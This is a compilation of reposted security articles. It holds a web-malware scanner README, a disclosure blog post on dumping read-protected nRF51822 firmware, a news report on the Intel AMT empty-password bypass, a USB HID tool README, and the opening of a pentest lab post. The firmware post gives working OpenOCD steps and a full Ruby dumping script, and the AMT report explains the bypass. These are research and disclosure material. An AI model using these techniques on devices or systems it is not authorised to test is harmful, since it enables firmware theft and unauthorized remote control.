an NPM module (see above) then running the scanner is as simple as running the following command, passing in the path to your webroot (location of your website files): - wed-scanner --webroot=/var/www/html Other command-line options are available, simply run wed-scanner --help to see a help message describing them. Running the script in this way will produce human-readable output to the console. This is very useful when running the script with cron for example as the output can be sent as an e-mail whenever the script runs. The script also supports the writing of results to a more computer-friendly JSON format for later processing. To enable this output, see the --output command line argument. From cloned Git repository Simply call the script via node and pass the path to your webroot as follows: - node index.js --webroot=/var/www/html Recursive directory snapshots The Web Exploit Detector also comes with two utilities to help to identify files that might have changed unexpectedly. A successful attack on a site usually involves deleting files, adding new files or changing existing files in some way. Snapshots A snapshot (as used by these utilities) is a JSON file which lists all files as well as a description of their contents at the point in which the snapshot was created. If a snapshot was generated on Monday, for example, and then the site was attacked on Tuesday, then running a comparison between this snapshot and the current site files afterwards will show that one or more files were added, deleted or changed. The goal of these utilities therefore is to allow these snapshots to be created and for the comparisons to be performed when required. The snapshot stores each file path together with a SHA-256 hash of the file contents. A hash, or digest, is a small summary of a message, which in this case is the file's contents. If the file contents change, even in a very small way, the hash will become completely different. This provides a good way of detecting any changes to file contents. Usage The following two utilities are also installed as part of Web Exploit Detector: - wed-generate-snapshot: this utility allows a snapshot to be generated for all files (recursively) in a directory specified by "--webroot". The snapshot will be saved to a file specified in the "--output" option. wed-compare-snapshot: once a snapshot has been generated it can be compared against the current contents of the same directory. The snapshot to check is specified using the "--snapshot" option. The base directory to check against is stored within the snapshot, but if the base directory has changed since the snapshot was generated then the --webroot option can be used. Workflow Snapshots can be generated as frequently as required, but as a general rule of thumb they should be generated whenever a site is in a clean (non-infected) state and whenever a legitimate change has been made. For CMS-based sites like WordPress, snapshots should be created regularly as new uploads will cause the new state to change from the stored snapshot. For sites whose files should never change, a single snapshot can be generated and then used indefinitely ensure nothing actually does change. Usage as a module The src/web-exploit-detector.js script is an ES6 module that exports the set of rules as rules as well as a number of functions: - executeTests(settings): runs the exploit checker based on the passed settings object. For usage, please consult the index.js script. formatResult(result): takes a single test result from the array returned from executeTests() and generates a string of results ready for output for that test. getFileList(path): returns an array of files from the base path using readDirRecursive(). processRulesOnFile(file, rules): processes all rules from the array rules on a single file (string path). readDirRecursive(path): recursive function which returns a Promise which will be resolved with an array of all files in path and sub-directories. The src/cli.js script is a simple command-line interface (CLI) to this module as used by the wed-scanner script, so reading this script shows one way in which this module can be used. The project uses Babel to compile the ES6 modules in "src" to plain JavaScript modules in "lib". If you are running an older version of Node.js then modules can be require()'d from the "lib" directory instead. Building The package contains Babel as a dev-dependency and the "build" and "watch:build" scripts. When running the "build" script (npm run build), the ES6 modules in "./src" will be compiled and saved to "./lib", where they are included by the CLI scripts. The "./lib" directory is included in the repository so that any user can clone the repository and run the application directly without having to install dev-dependencies and build the application. Excluding results per rule Sometimes rules, especially those tagged with suspicion, will identify a clean file as a potential exploit. Because of this, a system to allow files to be excluded from being checked for a rule is also included. The wed-results-to-exceptions script takes an output file from the main detector script (see the --output option) and gives you the choice to exclude each file in turn for each specific rule. All excluded files are stored in a file called wed-exceptions.json (in the user's home directory) which is read by the main script before running the scan. If a file is listed in this file then all attached rules (by ID) will be skipped when checking this file. For usage instructions, simply run wed-results-to-exceptions. You will need to have a valid output JSON from a previous run of the main detector first using the --output option. For users working directly with the Git repository, run node results_to_exceptions.js in the project root directory. Rule engine The application operates using a collection of "rules" which are loaded when the application is run. Each rule consists of an ID, name, description, list of URLs, tags, deprecation flag and most importantly a set of tests. Each individual test must be one of the following: - A regular expression: the simplest type of test, any value matching the regex will pass the test. A Boolean callback: the callback function must return a Boolean value indicating if the value passes the test. The callback is free to perform any synchronous operations. A Promise callback: the callback function must return a Promise which is resolved with a Boolean value indicating if the value passes the test. This type of callback is free to perform any asynchronous operations. The following test types are supported: - "path": used to check the file path. This test must exist and should evaluate to true if the file path is considered to match the rule. "content": used to check the contents of a file. This test is optional and file contents will only be read and sent to rules that implement this test type. When this test is a function, the content (string) will be passed as the first argument and the file path will be passed as the second argument, allowing the test to perform additional file operations. Expanding on the rules As web-based exploits are constantly evolving and new exploits are being created, the set of rules need to be updated too. As I host a number of websites I am constantly observing new kinds of exploits, so I will be adding to the set of rules whenever I can. I run this tool on my own servers, so of course I want it to be as functional as possible! This brings me onto the reasons why I have made this application available as an open-source project: firstly so that you and others can benefit from it and secondly so that we can all collaborate to contribute detection rules so that the application is always up to date. Contributing rules If you have discovered an exploit that is not detected by this tool then please either contact me to let me know or even better, write your own rule and add it to the third-party rule-set (rules/third-party/index.js), then send me a pull request. Don't worry if you don't know how to write your own rules; the most important thing is that the rule gets added, so feel free to send me as much information as you can about the exploit and I will try to create my own rule for it. Rules are categorised, but the simplest way to add your own rule is to add it to the third-party rule-set mentioned above. Rule IDs are written in the following format: "author:type:sub-type(s):rule-id". For example, one of my own rules is "P64:php:cms:wordpress:wso_webshell". "P64" is me (the author), "php:cms:wordpress" is the grouping (a PHP-specific rule, for the Content Management System (CMS) called WordPress) and "wso_webshell" is the specific rule ID. When writing your own rules, try to follow this format, and replace "P64" with your own GitHub username or other unique ID. Unit tests and linting The project contains a set of Jasmine tests which can be run using npm test. It also contains an ESLint configuration, and ESLint can be run using npm run lint. When developing, tests can also be run whenever a source file changes by running npm run watch:test. To run tests and ESLint, the npm run watch:all script can be used. Please note that unless you already have Jasmine and/or nodemon installed, you should run npm install in non-production mode to ensure that the dev-dependencies are installed. Credits Thanks to the Reddit user mayupvoterandomly for suggesting the directory snapshot functionality that was added in 1.1.0 and for suggesting new rules that will be added soon. License ISC License Copyright (c) 2017, Simon Pugnet Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. Sursa: https://github.com/polaris64/web_exploit_detector

Firmware dumping technique for an ARM Cortex-M0 SoC by Kris Brosch One of the first major goals when reversing a new piece of hardware is getting a copy of the firmware. Once you have access to the firmware, you can reverse engineer it by disassembling the machine code. Sometimes you can get access to the firmware without touching the hardware, by downloading a firmware update file for example. More often, you need to interact with the chip where the firmware is stored. If the chip has a debug port that is accessible, it may allow you to read the firmware through that interface. However, most modern chips have security features that when enabled, prevent firmware from being read through the debugging interface. In these situations, you may have to resort to decapping the chip, or introducing glitches into the hardware logic by manipulating inputs such as power or clock sources and leveraging the resulting behavior to successfully bypass these security implementations. This blog post is a discussion of a new technique that we've created to dump the firmware stored on a particular Bluetooth system-on-chip (SoC), and how we bypassed that chip's security features to do so by only using the debugging interface of the chip. We believe this technique is a vulnerability in the code protection features of this SoC and as such have notified the IC vendor prior to publication of this blog post. The SoC The SoC in question is a Nordic Semiconductor nRF51822. The nRF51822 is a popular Bluetooth SoC with an ARM Cortex-M0 CPU core and built-in Bluetooth hardware. The chip's manual is available here. Chip security features that prevent code readout vary in implementation among the many microcontrollers and SoCs available from various manufacturers, even among those that use the same ARM cores. The nRF51822's code protection allows the developer to prevent the debugging interface from being able to read either all of code and memory (flash and RAM) sections, or a just a subsection of these areas. Additionally, some chips have options to prevent debugger access entirely. The nRF51822 doesn't provide such a feature to developers; it just disables memory accesses through the debugging interface. The nRF51822 has a serial wire debug (SWD) interface, a two-wire (in addition to ground) debugging interface available on many ARM chips. Many readers may be familiar with JTAG as a physical interface that often provides access to hardware and software debugging features of chips. Some ARM cores support a debugging protocol that works over the JTAG physical interface; SWD is a different physical interface that can be used to access the same software debugging features of a chip that ARM JTAG does. OpenOCD is an open source tool that can be used to access the SWD port. This document contains a pinout diagram of the nRF51822. Luckily the hardware target we were analyzing has test points connected to the SWDIO and SWDCLK chip pins with PCB traces that were easy to follow. By connecting to these test points with a SWD adapter, we can use OpenOCD to access the chip via SWD. There are many debug adapters supported by OpenOCD, some of which support SWD. Exploring the Debugger Access Once OpenOCD is connected to the target, we can run debugging commands, and read/write some ARM registers, however we are prevented from reading out the code section. In the example below, we connect to the target with OpenOCD and attempt to read memory sections from the target chip. We proceed to reset the processor and read from the address 0x00000000 and the address that we determine is in the program counter (pc) register (0x000114cc), however nothing but zeros is returned. Of course we know there is code there, but the code protection counter-measures are preventing us from accessing it: > reset halt target state: halted target halted due to debug-request, current mode: Thread xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0 > mdw 0x00000000 0x00000000: 00000000 > mdw 0x000114cc 10 0x000114cc: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 0x000114ec: 00000000 00000000 We can however read and write CPU registers, including the program counter (pc), and we can single-step through instructions (we just don't know what instructions, since we can't read them): > reg r0 0x12345678 r0 (/32): 0x12345678 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0 > reg pc 0x00011500 pc (/32): 0x00011500 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x00011502 msp: 0x20001bd0 We can also read a few of the memory-mapped configuration registers. Here we are reading a register named "RBPCONF" (short for readback protection) in a collection of registers named "UICR" (User Information Configuration Registers); you can find the address of this register in the nRF51 Series Reference Manual: > mdw 0x10001004 0x10001004: ffff00ff According to the manual, a value of 0xffff00ff in the RBPCONF register means "Protect all" (PALL) is enabled (bits 15..8, labeled "B" in this table, are set to 0), and "Protect region 0" (PR0) is disabled (bits 7..0, labeled "A", are set to1): The PALL feature being enabled is what is responsible for preventing us from accessing the code section and subsequently causing our read commands to return zeros. The other protection feature, PR0, is not enabled in this case, but it's worth mentioning because the protection bypass discussed in this article could bypass PR0 as well. If enabled, it would prevent the debugger from reading memory below a configurable address. Note that flash (and therefore the firmware we want) exists at a lower address than RAM. PR0 also prevents code running outside of the protected region from reading any data within the protected region. Unfortunately, it is not possible to disable PALL without erasing the entire chip, wiping away the firmware with it. However, it is possible to bypass this readback protection by leveraging our debug access to the CPU. Devising a Protection Bypass An initial plan to dump the firmware via a debugging interface might be to load some code into RAM that reads the firmware from flash into a RAM buffer that we could then read. However, we don't have access to RAM because PALL is enabled. Even if PALL were disabled, PR0 could have been enabled, which would prevent our code in RAM (which would be the unprotected region) from reading flash (in the protected region). This plan won't work if either PALL or PR0 is enabled. To bypass the memory protections, we need a way to read the protected data and we need a place to write it that we can access. In this case, only code that exists in protected memory can read protected memory. So our method of reading data will be to jump to an instruction in protected memory using our debugger access, and then to execute that instruction. The instruction will read the protected data into a CPU register, at which time we can then read the value out of the CPU register using our debugger access. How do we know what instruction to jump to? We'll have to blindly search protected memory for a load instruction that will read from an address we supply in a register. Once we've found such an instruction, we can exploit it to read out all of the firmware. Finding a Load Instruction Our debugger access lets us write to the pc register in order to jump to any instruction, and it lets us single step the instruction execution. We can also read and write the contents of the general purpose CPU registers. In order to read from the protected memory, we have to find a load word instruction with a register operand, set the operand register to a target address, and execute that one instruction. Since we can't read the flash, we don't know what instructions are where, so it might seem difficult to find the right instruction. However, all we need is an instruction that reads memory from an address in some register to a register, which is a pretty common operation. A load word instruction would work, or a pop instruction, for example. We can search for the right instruction using trial and error. First, we set the program counter to somewhere we guess a useful instruction might be. Then, we set all the CPU registers to an address we're interested in and then single step. Next we examine the registers. If we are lucky, the instruction we just executed loaded data from an address stored in another register. If one of the registers has changed to a value that might exist at the target address, then we may have found a useful load instruction. We might as well start at the reset vector - at least we know there are valid instructions there. Here we're resetting the CPU, setting the general purpose registers and stack pointer to zero (the address we're trying), and single stepping, then examining the registers: > reset halt target state: halted target halted due to debug-request, current mode: Thread xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0 > reg r0 0x00000000 r0 (/32): 0x00000000 > reg r1 0x00000000 r1 (/32): 0x00000000 > reg r2 0x00000000 r2 (/32): 0x00000000 > reg r3 0x00000000 r3 (/32): 0x00000000 > reg r4 0x00000000 r4 (/32): 0x00000000 > reg r5 0x00000000 r5 (/32): 0x00000000 > reg r6 0x00000000 r6 (/32): 0x00000000 > reg r7 0x00000000 r7 (/32): 0x00000000 > reg r8 0x00000000 r8 (/32): 0x00000000 > reg r9 0x00000000 r9 (/32): 0x00000000 > reg r10 0x00000000 r10 (/32): 0x00000000 > reg r11 0x00000000 r11 (/32): 0x00000000 > reg r12 0x00000000 r12 (/32): 0x00000000 > reg sp 0x00000000 sp (/32): 0x00000000 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114ce msp: 00000000 > reg ===== arm v7m registers (0) r0 (/32): 0x00000000 (1) r1 (/32): 0x00000000 (2) r2 (/32): 0x00000000 (3) r3 (/32): 0x10001014 (4) r4 (/32): 0x00000000 (5) r5 (/32): 0x00000000 (6) r6 (/32): 0x00000000 (7) r7 (/32): 0x00000000 (8) r8 (/32): 0x00000000 (9) r9 (/32): 0x00000000 (10) r10 (/32): 0x00000000 (11) r11 (/32): 0x00000000 (12) r12 (/32): 0x00000000 (13) sp (/32): 0x00000000 (14) lr (/32): 0xFFFFFFFF (15) pc (/32): 0x000114CE (16) xPSR (/32): 0xC1000000 (17) msp (/32): 0x00000000 (18) psp (/32): 0xFFFFFFFC (19) primask (/1): 0x00 (20) basepri (/8): 0x00 (21) faultmask (/1): 0x00 (22) control (/2): 0x00 ===== Cortex-M DWT registers (23) dwt_ctrl (/32) (24) dwt_cyccnt (/32) (25) dwt_0_comp (/32) (26) dwt_0_mask (/4) (27) dwt_0_function (/32) (28) dwt_1_comp (/32) (29) dwt_1_mask (/4) (30) dwt_1_function (/32) Looks like r3 was set to 0x10001014. Is that the value at address zero? Let's see what happens when we load the registers with four instead: > reset halt target state: halted target halted due to debug-request, current mode: Thread xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0 > reg r0 0x00000004 r0 (/32): 0x00000004 > reg r1 0x00000004 r1 (/32): 0x00000004 > reg r2 0x00000004 r2 (/32): 0x00000004 > reg r3 0x00000004 r3 (/32): 0x00000004 > reg r4 0x00000004 r4 (/32): 0x00000004 > reg r5 0x00000004 r5 (/32): 0x00000004 > reg r6 0x00000004 r6 (/32): 0x00000004 > reg r7 0x00000004 r7 (/32): 0x00000004 > reg r8 0x00000004 r8 (/32): 0x00000004 > reg r9 0x00000004 r9 (/32): 0x00000004 > reg r10 0x00000004 r10 (/32): 0x00000004 > reg r11 0x00000004 r11 (/32): 0x00000004 > reg r12 0x00000004 r12 (/32): 0x00000004 > reg sp 0x00000004 sp (/32): 0x00000004 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114ce msp: 0x00000004 > reg ===== arm v7m registers (0) r0 (/32): 0x00000004 (1) r1 (/32): 0x00000004 (2) r2 (/32): 0x00000004 (3) r3 (/32): 0x10001014 (4) r4 (/32): 0x00000004 (5) r5 (/32): 0x00000004 (6) r6 (/32): 0x00000004 (7) r7 (/32): 0x00000004 (8) r8 (/32): 0x00000004 (9) r9 (/32): 0x00000004 (10) r10 (/32): 0x00000004 (11) r11 (/32): 0x00000004 (12) r12 (/32): 0x00000004 (13) sp (/32): 0x00000004 (14) lr (/32): 0xFFFFFFFF (15) pc (/32): 0x000114CE (16) xPSR (/32): 0xC1000000 (17) msp (/32): 0x00000004 (18) psp (/32): 0xFFFFFFFC (19) primask (/1): 0x00 (20) basepri (/8): 0x00 (21) faultmask (/1): 0x00 (22) control (/2): 0x00 ===== Cortex-M DWT registers (23) dwt_ctrl (/32) (24) dwt_cyccnt (/32) (25) dwt_0_comp (/32) (26) dwt_0_mask (/4) (27) dwt_0_function (/32) (28) dwt_1_comp (/32) (29) dwt_1_mask (/4) (30) dwt_1_function (/32) Nope, r3 gets the same value, so we're not interested in the first instruction. Let's continue on to the second: > reg r0 0x00000000 r0 (/32): 0x00000000 > reg r1 0x00000000 r1 (/32): 0x00000000 > reg r2 0x00000000 r2 (/32): 0x00000000 > reg r3 0x00000000 r3 (/32): 0x00000000 > reg r4 0x00000000 r4 (/32): 0x00000000 > reg r5 0x00000000 r5 (/32): 0x00000000 > reg r6 0x00000000 r6 (/32): 0x00000000 > reg r7 0x00000000 r7 (/32): 0x00000000 > reg r8 0x00000000 r8 (/32): 0x00000000 > reg r9 0x00000000 r9 (/32): 0x00000000 > reg r10 0x00000000 r10 (/32): 0x00000000 > reg r11 0x00000000 r11 (/32): 0x00000000 > reg r12 0x00000000 r12 (/32): 0x00000000 > reg sp 0x00000000 sp (/32): 0x00000000 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114d0 msp: 00000000 > reg ===== arm v7m registers (0) r0 (/32): 0x00000000 (1) r1 (/32): 0x00000000 (2) r2 (/32): 0x00000000 (3) r3 (/32): 0x20001BD0 (4) r4 (/32): 0x00000000 (5) r5 (/32): 0x00000000 (6) r6 (/32): 0x00000000 (7) r7 (/32): 0x00000000 (8) r8 (/32): 0x00000000 (9) r9 (/32): 0x00000000 (10) r10 (/32): 0x00000000 (11) r11 (/32): 0x00000000 (12) r12 (/32): 0x00000000 (13) sp (/32): 0x00000000 (14) lr (/32): 0xFFFFFFFF (15) pc (/32): 0x000114D0 (16) xPSR (/32): 0xC1000000 (17) msp (/32): 0x00000000 (18) psp (/32): 0xFFFFFFFC (19) primask (/1): 0x00 (20) basepri (/8): 0x00 (21) faultmask (/1): 0x00 (22) control (/2): 0x00 ===== Cortex-M DWT registers (23) dwt_ctrl (/32) (24) dwt_cyccnt (/32) (25) dwt_0_comp (/32) (26) dwt_0_mask (/4) (27) dwt_0_function (/32) (28) dwt_1_comp (/32) (29) dwt_1_mask (/4) (30) dwt_1_function (/32) OK, this time r3 was set to 0x20001BD0. Is that the value at address zero? Let's see what happens when we run the second instruction with the registers set to 4: > reset halt target state: halted target halted due to debug-request, current mode: Thread xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0 > reg r0 0x00000004 r0 (/32): 0x00000004 > reg r1 0x00000004 r1 (/32): 0x00000004 > reg r2 0x00000004 r2 (/32): 0x00000004 > reg r3 0x00000004 r3 (/32): 0x00000004 > reg r4 0x00000004 r4 (/32): 0x00000004 > reg r5 0x00000004 r5 (/32): 0x00000004 > reg r6 0x00000004 r6 (/32): 0x00000004 > reg r7 0x00000004 r7 (/32): 0x00000004 > reg r8 0x00000004 r8 (/32): 0x00000004 > reg r9 0x00000004 r9 (/32): 0x00000004 > reg r10 0x00000004 r10 (/32): 0x00000004 > reg r11 0x00000004 r11 (/32): 0x00000004 > reg r12 0x00000004 r12 (/32): 0x00000004 > reg sp 0x00000004 sp (/32): 0x00000004 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114d0 msp: 0x00000004 > reg ===== arm v7m registers (0) r0 (/32): 0x00000004 (1) r1 (/32): 0x00000004 (2) r2 (/32): 0x00000004 (3) r3 (/32): 0x000114CD (4) r4 (/32): 0x00000004 (5) r5 (/32): 0x00000004 (6) r6 (/32): 0x00000004 (7) r7 (/32): 0x00000004 (8) r8 (/32): 0x00000004 (9) r9 (/32): 0x00000004 (10) r10 (/32): 0x00000004 (11) r11 (/32): 0x00000004 (12) r12 (/32): 0x00000004 (13) sp (/32): 0x00000004 (14) lr (/32): 0xFFFFFFFF (15) pc (/32): 0x000114D0 (16) xPSR (/32): 0xC1000000 (17) msp (/32): 0x00000004 (18) psp (/32): 0xFFFFFFFC (19) primask (/1): 0x00 (20) basepri (/8): 0x00 (21) faultmask (/1): 0x00 (22) control (/2): 0x00 ===== Cortex-M DWT registers (23) dwt_ctrl (/32) (24) dwt_cyccnt (/32) (25) dwt_0_comp (/32) (26) dwt_0_mask (/4) (27) dwt_0_function (/32) (28) dwt_1_comp (/32) (29) dwt_1_mask (/4) (30) dwt_1_function (/32) This time, r3 got 0x00014CD. This value actually strongly implies we're reading memory. Why? The value is actually the reset vector. According to the Cortex-M0 documentation, the reset vector is at address 4, and when we reset the chip, the PC is set to 0x000114CC (the least significant bit is set in the reset vector, changing C to D, because the Cortex-M0 operates in Thumb mode). Let's try reading the two instructions we just were testing: > reset halt target state: halted target halted due to debug-request, current mode: Thread xPSR: 0xc1000000 pc: 0x000114cc msp: 0x20001bd0 > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114ce msp: 0x20001bd0 > reg r0 0x000114cc r0 (/32): 0x000114CC > reg r1 0x000114cc r1 (/32): 0x000114CC > reg r2 0x000114cc r2 (/32): 0x000114CC > reg r3 0x000114cc r3 (/32): 0x000114CC > reg r4 0x000114cc r4 (/32): 0x000114CC > reg r5 0x000114cc r5 (/32): 0x000114CC > reg r6 0x000114cc r6 (/32): 0x000114CC > reg r7 0x000114cc r7 (/32): 0x000114CC > reg r8 0x000114cc r8 (/32): 0x000114CC > reg r9 0x000114cc r9 (/32): 0x000114CC > reg r10 0x000114cc r10 (/32): 0x000114CC > reg r11 0x000114cc r11 (/32): 0x000114CC > reg r12 0x000114cc r12 (/32): 0x000114CC > reg sp 0x000114cc sp (/32): 0x000114CC > step target state: halted target halted due to single-step, current mode: Thread xPSR: 0xc1000000 pc: 0x000114d0 msp: 0x000114cc > reg r3 r3 (/32): 0x681B4B13 The r3 register has the value 0x681B4B13. That disassembles to two load instructions, the first relative to the pc, the second relative to r3: $ printf "\x13\x4b\x1b\x68" > /tmp/armcode $ arm-none-eabi-objdump -D --target binary -Mforce-thumb -marm /tmp/armcode /tmp/armcode: file format binary Disassembly of section .data: 00000000 <.data>: 0: 4b13 ldr r3, [pc, #76] ; (0x50) 2: 681b ldr r3, [r3, #0] In case you don't read Thumb assembly, that second instruction is a load register instruction (ldr); it's taking an address from the r3 register, adding an offset of zero, and loading the value from that address into the r3 register. We've found a load instruction that lets us read memory from an arbitrary address. Again, this is useful because only code in the protected memory can read the protected memory. The trick is that being able to read and write CPU registers using OpenOCD lets us execute those instructions however we want. If we hadn't been lucky enough to find the load word instruction so close to the reset vector, we could have reset the processor and written a value to the pc register (jumping to an arbitrary address) to try more instructions. Since we were lucky though, we can just step through the first instruction. Dumping the Firmware Now that we've found a load instruction that we can execute to read from arbitrary addresses, our firmware dumping process is as follows: Reset the CPU Single step (we don't care about the first instruction) Put the address we want to read from into r3 Single step (this loads from the address in r3 to r3) Read the value from r3 Here's a ruby script to automate the process: #!/usr/bin/env ruby require 'net/telnet' debug = Net::Telnet::new("Host" => "localhost", "Port" => 4444) dumpfile = File.open("dump.bin", "w") ((0x00000000/4)...(0x00040000)/4).each do |i| address = i * 4 debug.cmd("reset halt") debug.cmd("step") debug.cmd("reg r3 0x#{address.to_s 16}") debug.cmd("step") response = debug.cmd("reg r3") value = response.match(/: 0x([0-9a-fA-F]{8})/)[1].to_i 16 dumpfile.write([value].pack("V")) puts "0x%08x: 0x%08x" % [address, value] end dumpfile.close debug.close The ruby script connects to the OpenOCD user interface, which is available via a telnet connection on localhost. It then loops through addresses that are multiples of four, using the load instruction we found to read data from those addresses. Vendor Response IncludeSec contacted NordicSemi via their customer support channel where they received a copy of this blog post. From NordicSemi customer support: "We take this into consideration together with other factors, and the discussions around this must be kept internal." We additionally reached out to the only engineer who had security in his title and he didn't really want a follow-up Q&A call or further info and redirected us to only talk to customer support. So that's about all we can do for coordinated disclosure on our side. Conclusion Once we have a copy of the firmware image, we can do whatever disassembly or reverse engineering we want with it. We can also now disable the chip's PALL protection in order to more easily debug the code. To disable PALL, you need to erase the chip, but that's not a problem since we can immediately re-flash the chip using the dumped firmware. Once that the chip has been erased and re-programmed to disable the protection we can freely use the debugger to: read and write RAM, set breakpoints, and so on. We can even attach GDB to OpenOCD, and debug the firmware that way. The technique described here won't work on all microcontrollers or SoCs; it only applies to situations where you have access to a debugging interface that can read and write CPU registers but not protected memory. Despite the limitation though, the technique can be used to dump firmware from nRF51822 chips and possibly others that use similar protections. We feel this is a vulnerability in the design of the nRF51822 code protection. Are you using other cool techniques to dump firmware? Do you know of any other microcontrollers or SoCs that might be vulnerable to this type of code protection bypass? Let us know in the comments. Sursa: http://blog.includesecurity.com/2015/11/NordicSemi-ARM-SoC-Firmware-dumping-technique.html

How to remote hijack computers using Intel's insecure chips: Just use an empty login string Exploit to pwn systems using vPro and AMT now public 5 May 2017 at 19:52, Chris Williams You can remotely commandeer and control workstations and servers that use vulnerable Intel chipsets – by sending them empty authentication strings. You read that right. When you're expected to send a password hash, you send zero bytes. Nada. And you'll be rewarded with powerful low-level access to the box's hardware from across the network – or across the internet if the management interface faces the public web. Intel provides a remote management toolkit called AMT for its business and enterprise-friendly processors; this technology is part of Chipzilla's vPro suite and runs at the firmware level, below and out of sight of Windows, Linux, or whatever operating system you're using. It's designed to allow IT admins to remotely log into the guts of computers so they can reboot them, repair and tweak operating systems, install new OSes, access virtual serial consoles, or gain full-blown remote desktop access to the machines via VNC. It is, essentially, god-mode on a machine. Normally, AMT is password protected. This week it emerged that this authentication can be bypassed, allowing miscreants to take over systems from afar or once inside a corporate network. This critical security bug was designated CVE-2017-5689. While Intel has patched its code, people have to extract the necessary firmware updates from their hardware suppliers before they can be installed. Today we've learned it is trivial to exploit this flaw – and we're still waiting for those patches. AMT is accessed over the network via a bog-standard web interface. This prompts the admin for a password, and this passphrase is sent over by the web browser using standard HTTP Digest authentication: the username, password, and realm, are hashed using a nonce from the AMT firmware, plus a few other bits of metadata. This scrambled response is checked by Intel's AMT software to be valid, and if so, access to granted to the management interface. But if you send an empty response, the firmware thinks this is valid and lets you through. This means if you use a proxy, or otherwise set up your browser to send empty HTTP Digest authentication responses, you can bypass the password checks. This is according to firmware reverse-engineering by Embedi [PDF] which reported the flaw to Intel in March, and Tenable, which poked around and came to the same conclusion earlier this week. Intel has published some more info on the vulnerability here, which includes links to a tool to check if your system is at-risk here, and mitigations. We're told the flaw is present in some, but not all, Intel chipsets back to 2010: if you're using vPro and AMT versions 6 to 11.6 on your network – including Intel's Standard Manageability (ISM) and Small Business Technology (SBT) features – then you are potentially at risk. Sursa: https://www.theregister.co.uk/2017/05/05/intel_amt_remote_exploit/

Hidviz Hidviz is a GUI application for in-depth analysis of USB HID class devices. The 2 main usecases of this aplication are reverse-engineering existing devices and developing new USB HID devices. USB HID class consists of many possible devices, e.g. mice, keyboards, joysticks and gamepads. But that's not all! There are more exotic HID devices, e.g. weather stations, medical equipment (thermometers, blood pressure monitors) or even simulation devices (think of flight sticks!). 1) Building Hidviz can be built on various platforms where following prerequisities can be obtained. Currently only Fedora, Ubuntu and MSYS2/Windows are supported and build guide is available for them. 1.1) Prerequisities C++ compiler with C++14 support libusb 1.0 (can be called libusbx in you distro) protobuf (v2 is enough) Qt5 base CMake (>=3.2) 1.1.1) Installing prerequisities on Fedora sudo dnf install gcc-c++ gcc qt5-qtbase-devel protobuf-devel libusbx-devel 1.1.2) Installing prerequisities on Ubuntu sudo apt-get install build-essential qtbase5-dev libprotobuf-dev protobuf-compiler libusb-1.0-0-dev Note that Ubuntu 14.04 LTS has old gcc unable to build hidviz, you need to install at least gcc 5. 1.1.3) Installing prerequisities on MSYS2/Windows Please note hidviz is primarily developed on Linux and we currently don't have Windows CI therefore Windows build can be broken at any time. If you find so, please create an issue. If you do not have MSYS2 installed, firstly follow this guide to install MSYS2. pacman -S git mingw-w64-x86_64-cmake mingw-w64-x86_64-qt5 mingw-w64-x86_64-libusb \ mingw-w64-x86_64-protobuf mingw-w64-x86_64-protobuf-c mingw-w64-x86_64-toolchain \ make 1.2) Clone and prepare out of source build Firstly you need to obtain sources from git and prepare directory for out of source build: git clone --recursive https://github.com/ondrejbudai/hidviz.git mkdir hidviz/build cd hidviz/build Please note you have to do recursive clone. 1.3) Configuring 1.2.1) Configuring on Fedora/Ubuntu (Linux) cmake .. 1.2.2) Configuring on MSYS2/Windows cmake -G "Unix Makefiles" .. 1.4) Build make -j$(nproc) If you are doing MSYS2 build, check before build you are using MinGW32/64 shell, otherwise the build process won't work. More information can be found here. 2) Running To run this project you need build/hidviz as you current directory for hidviz to work properly! After successful build you need to run cd hidviz ./hidviz 2) Running on Windows 3) Installing Not yet available 4) License Hidviz is license under GPLv3+. For more information see LICENSE file. Sursa: https://github.com/ondrejbudai/hidviz/

Thursday, May 4, 2017 Pentest Home Lab - 0x0 - Building a virtual corporate domain Whether you are a professional penetration tester or want to be become one, having a lab environment that includes a full Active Directory domain is really helpful. There have been many times where in order to learn a new skill, technique, exploit, or tool, I've had to first set it up in an AD lab environment. Reading about attacks and understanding them at a high level is one thing, but I often have a hard time really wrapping my head around something until I've done it myself. Take Kerberoasting for example: Between Tim's talk a few years back, Rob's posts, and Will's post, I knew what was happening at a high level, but I didn't want to try out an attack I'd never done before in the middle of an engagement. But before I could try it out for myself, I had to first figure out how to create an SPN. So off to Google I went, and then off to the lab: I set up MSSQL on a domain connected server in my home lab I created a new user in my AD I created a SPN using setspn, pairing the new user to the MSSQL instance I used Empire to grab the SPN hash as an unprivileged domain user (So cool!!) I sent the SPN hash to the password cracker and got the weak password THAT was a fun night! So back to the goal of this blog series. I'll share what I've learned while building my own lab(s), I'll share some of the things I've done in my lab to try and improve my skills, and for every attack I cover, I'll also cover how to set up your lab environment. Selecting Your Virtualization Stack QUESTION: Should I build this in the cloud or on premises? Before we can get to any of the hacking, we need to talk about where you are going to install your virtual environment. In fact, your home lab doesn't even need to be located within your home. 